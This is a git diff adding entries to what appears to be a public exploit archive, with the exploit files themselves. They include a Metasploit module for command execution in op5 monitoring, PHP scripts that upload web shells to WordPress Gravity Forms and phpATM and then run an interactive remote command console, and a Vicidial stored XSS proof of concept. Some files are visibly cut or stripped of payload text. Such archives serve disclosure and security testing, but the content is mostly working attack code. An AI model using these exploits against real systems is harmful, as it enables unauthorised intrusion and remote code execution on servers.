diff --git a/files.csv b/files.csv index ee150be37..b2c63cd81 100755 --- a/files.csv +++ b/files.csv @@ -36151,3 +36151,8 @@ id,file,description,date,author,platform,type,port 39962,platforms/hardware/webapps/39962.txt,"ATCOM PBX IP01_ IP08 _ IP4G_ IP2G4A - Authentication Bypass",2016-06-16,i-Hmx,hardware,webapps,80 39963,platforms/php/webapps/39963.txt,"Roxy Fileman 1.4.4 - Arbitrary File Upload",2016-06-16,"Tyrell Sassen",php,webapps,80 39964,platforms/php/webapps/39964.html,"SlimCMS 0.1 - CSRF (Change Admin Password)",2016-06-16,"Avinash Thapa",php,webapps,80 +39969,platforms/php/webapps/39969.php,"WordPress Gravity Forms Plugin 1.8.19 - Arbitrary File Upload",2016-06-17,"Abk Khan",php,webapps,80 +39970,platforms/php/webapps/39970.txt,"Vicidial 2.11 - Scripts Stored XSS",2016-06-17,"David Silveiro",php,webapps,80 +39971,platforms/php/webapps/39971.php,"phpATM 1.32 - Remote Command Execution (Shell Upload) on Windows Servers",2016-06-17,"Paolo Massenio",php,webapps,80 +39972,platforms/php/webapps/39972.txt,"phpATM 1.32 - Multiple Vulnerabilities",2016-06-17,"Paolo Massenio",php,webapps,80 +39973,platforms/linux/remote/39973.rb,"op5 v7.1.9 Configuration Command Execution",2016-06-17,metasploit,linux,remote,443 diff --git a/platforms/linux/remote/39973.rb b/platforms/linux/remote/39973.rb new file mode 100755 index 000000000..56f06e860 --- /dev/null +++ b/platforms/linux/remote/39973.rb @@ -0,0 +1,132 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + Rank = ExcellentRanking + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'op5 v7.1.9 Configuration Command Execution', + 'Description' => %q( + op5 an open source network monitoring software. + The configuration page in version 7.1.9 and below + allows the ability to test a system command, which + can be abused to run arbitrary code as an unpriv user. + ), + 'Author' => + [ + 'h00die ', # module + 'hyp3rlinx' # discovery + ], + 'References' => + [ + [ 'EDB', '39676' ], + [ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'unix'], + 'Privileged' => false, + 'DefaultOptions' => { 'SSL' => true }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 08 2016' + ) + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, 'User to login with', 'monitor']), + OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']), + OptString.new('TARGETURI', [ true, 'The path to the application', '/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + /Version: (?[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body + + if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9') + vprint_good("Version Detected: #{version}") + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + execute_cmdstager( + :flavor => :echo + ) + end + + def execute_command(cmd, opts) + begin + # To manually view the vuln page, click Manage > Configure > Commands. + # Click the "Test this command" button to display the form we abuse. + + # login + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'), + 'method' => 'POST', + 'vars_get' => + { + 'uri' => 'tac/index' + }, + 'vars_post' => + { + 'csrf_token' => '', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302 + cookie = res.get_cookies + # exploit + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'), + 'method' => 'GET', + 'cookie' => cookie, + 'vars_get' => + { + 'cmd_str' => cmd + } + ) + + # success means we hang our session, and wont get back a response + if res + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/ + end + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def on_new_session(session) + super + session.shell_command_token('setsid $SHELL') + end +end \ No newline at end of file diff --git a/platforms/php/webapps/39969.php b/platforms/php/webapps/39969.php new file mode 100755 index 000000000..5f6474613 --- /dev/null +++ b/platforms/php/webapps/39969.php @@ -0,0 +1,53 @@ +&form_id=1&name=khan.php5&gform_unique_id=../../../../&field_id=3'); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); +$response = curl_exec($ch); +curl_close($ch); + +if (eregi('ok', $response)) { + echo "$separator\nShell at $shell\n$separator\n\n"; + while ($testCom != 'bubye!') { + $user = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~')); + echo "$user@b0x:~$ "; + $handle = fopen("php://stdin", 'r'); + $testCom = trim(fgets($handle)); + fclose($handle); + $comOut = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n"; + echo $comOut; + } +} +else { + die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator"); +} + +function get_string_between($string, $start, $end) +{ + # stolen from stackoverflow! + $string = " " . $string; + $ini = strpos($string, $start); + if ($ini == 0) + return ""; + $ini += strlen($start); + $len = strpos($string, $end, $ini) - $ini; + return substr($string, $ini, $len); +} +?> \ No newline at end of file diff --git a/platforms/php/webapps/39970.txt b/platforms/php/webapps/39970.txt new file mode 100755 index 000000000..4df2870bf --- /dev/null +++ b/platforms/php/webapps/39970.txt @@ -0,0 +1,63 @@ +# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS +# Date: 0 day +# Exploit Author: David Silveiro +# Exploit Author Github: github.com/davidsilveiro +# Vendor Homepage: http://vicidial.org +# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download + + +Vicidial is a popular opensource software, used throughout many different sectors, +such as; call centers for inbound & outband calling. + +The vulnerablility is triggered when an authenticated with user sufficient permissions, +creates a script (small text document that the agents use for remembering lines)without +sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature +of how widely this script can be set, for example a whole Tele-marketing campaign or specific + agent, it could very easily be used to infect other hosts on the Network. + +POC: + +http://localhost.com/vicidial_demo/admin.php?ADD=1111111 + +POST Data (script_name & script_text); + +ADD=2111111&DB=&script_id=tests&script_name=&script_comments=test& +active=Y&user_group=---ALL---&selectedField=fullname&script_text=&SUBMIT=SUBMIT + +Click 'Preview Script' + + + + + + + + + Preview Script: 1017 + +

+ + + + + + +
+
+ +

+
+ +
+
+
+ + diff --git a/platforms/php/webapps/39971.php b/platforms/php/webapps/39971.php new file mode 100755 index 000000000..da727bc42 --- /dev/null +++ b/platforms/php/webapps/39971.php @@ -0,0 +1,220 @@ +$v ) + { + $t = explode( ':', $v, 2 ); + if( isset( $t[1] ) ) + $head[ trim($t[0]) ] = trim( $t[1] ); + else + { + $head[] = $v; + if( preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ) ) + $head['reponse_code'] = intval($out[1]); + } + } + return $head; +} + +function getPhpsessid($server,$user,$pass){ + $url = $server.'/login.php'; + $data = array('action' => 'userlogin', 'user_name' => $user, 'user_pass' => $pass, 'Submit' => 'Enter'); + + $options = array( + 'http' => array( + 'header' => "Content-type: application/x-www-form-urlencoded\r\n", + 'method' => 'POST', + 'content' => http_build_query($data) + ) + ); + + $result = file_get_contents($url, false, stream_context_create($options)); + $r_header = parseHeaders($http_response_header); + + if ($result === FALSE) { + die("[-] Error during request. Check if your connection is up or if you entered the correct name of the server."); + } + + if(!isset($r_header['Location'])){ + die("[-] You didn't entered a correct pair user/password."); + } + + if(strpos($r_header['Server'],'Win') === false){ + die("[-] The server isn't running on Windows. Can't run the exploit."); + } + + $sessid = trim(substr(strstr($r_header['Location'],'PHPSESSID'),10)); + + return $sessid; + +} + +function uploadShell($server,$phpsessid){ + + $MULTIPART_BOUNDARY= '--------------------------'.microtime(true); + $shellname = "0x".rand()."_gh0st.php "; //notice the space after .php + + $header = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"; + $header .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; + $header .="Accept-Encoding: gzip, deflate\r\n"; + $header .= "Cookie: PHPSESSID=$phpsessid\r\n"; + $header .="Connection: close\r\n"; + $header .= "Content-Type: multipart/form-data; boundary=$MULTIPART_BOUNDARY"; + + + $content = "--$MULTIPART_BOUNDARY\r\n". + "Content-Disposition: form-data; name=\"action\"\r\n\r\n". + "upload\r\n"; + + $content .= "--$MULTIPART_BOUNDARY\r\n". + "Content-Disposition: form-data; name=\"directory\"\r\n\r\n". + "\r\n"; + + $content .= "--$MULTIPART_BOUNDARY\r\n". + "Content-Disposition: form-data; name=\"order\"\r\n\r\n". + "nom\r\n"; + + $content .= "--$MULTIPART_BOUNDARY\r\n". + "Content-Disposition: form-data; name=\"direction\"\r\n\r\n". + "0\r\n"; + + + $content .= "--$MULTIPART_BOUNDARY\r\n". + "Content-Disposition: form-data; name=\"userfile\"; filename=\"$shellname\"\r\n". + "Content-Type: application/octet-stream\r\n\r\n". + "\r\n"; + + $content .= "--$MULTIPART_BOUNDARY\r\n". + "Content-Disposition: form-data; name=\"description\"\r\n\r\n". + "\r\n"; + + $content .= "--$MULTIPART_BOUNDARY--\r\n"; + + $options = array( + 'http' => array( + 'method' => 'POST', + 'header' => $header, + 'content' => $content, + ) + ); + + $url = $server.'/index.php?'; + + $result = file_get_contents($url, false, stream_context_create($options)); + $r_header = parseHeaders($http_response_header); + + if ($result === FALSE) { + die("[-] Error during request. Check if your connection is up or if you entered the correct name of the server."); + } + + if(!isset($r_header['reponse_code']) && intval($r_header['reponse_code']) != 200){ + die("[-] Error during upload."); + } + + return $shellname; + +} + +function runConsole($server,$shellname){ + + while(1){ + echo "Insert cmd ('exit' to quit) > "; + $cmd = fgets(STDIN); + if(trim($cmd) == 'exit' ) die("[+] bye\n"); + $query = $server."/files/".trim($shellname)."?cmd=".trim($cmd); + $result = file_get_contents($query); + echo $result."\n"; + } + +} + + +?> \ No newline at end of file diff --git a/platforms/php/webapps/39972.txt b/platforms/php/webapps/39972.txt new file mode 100755 index 000000000..49905ec25 --- /dev/null +++ b/platforms/php/webapps/39972.txt @@ -0,0 +1,175 @@ +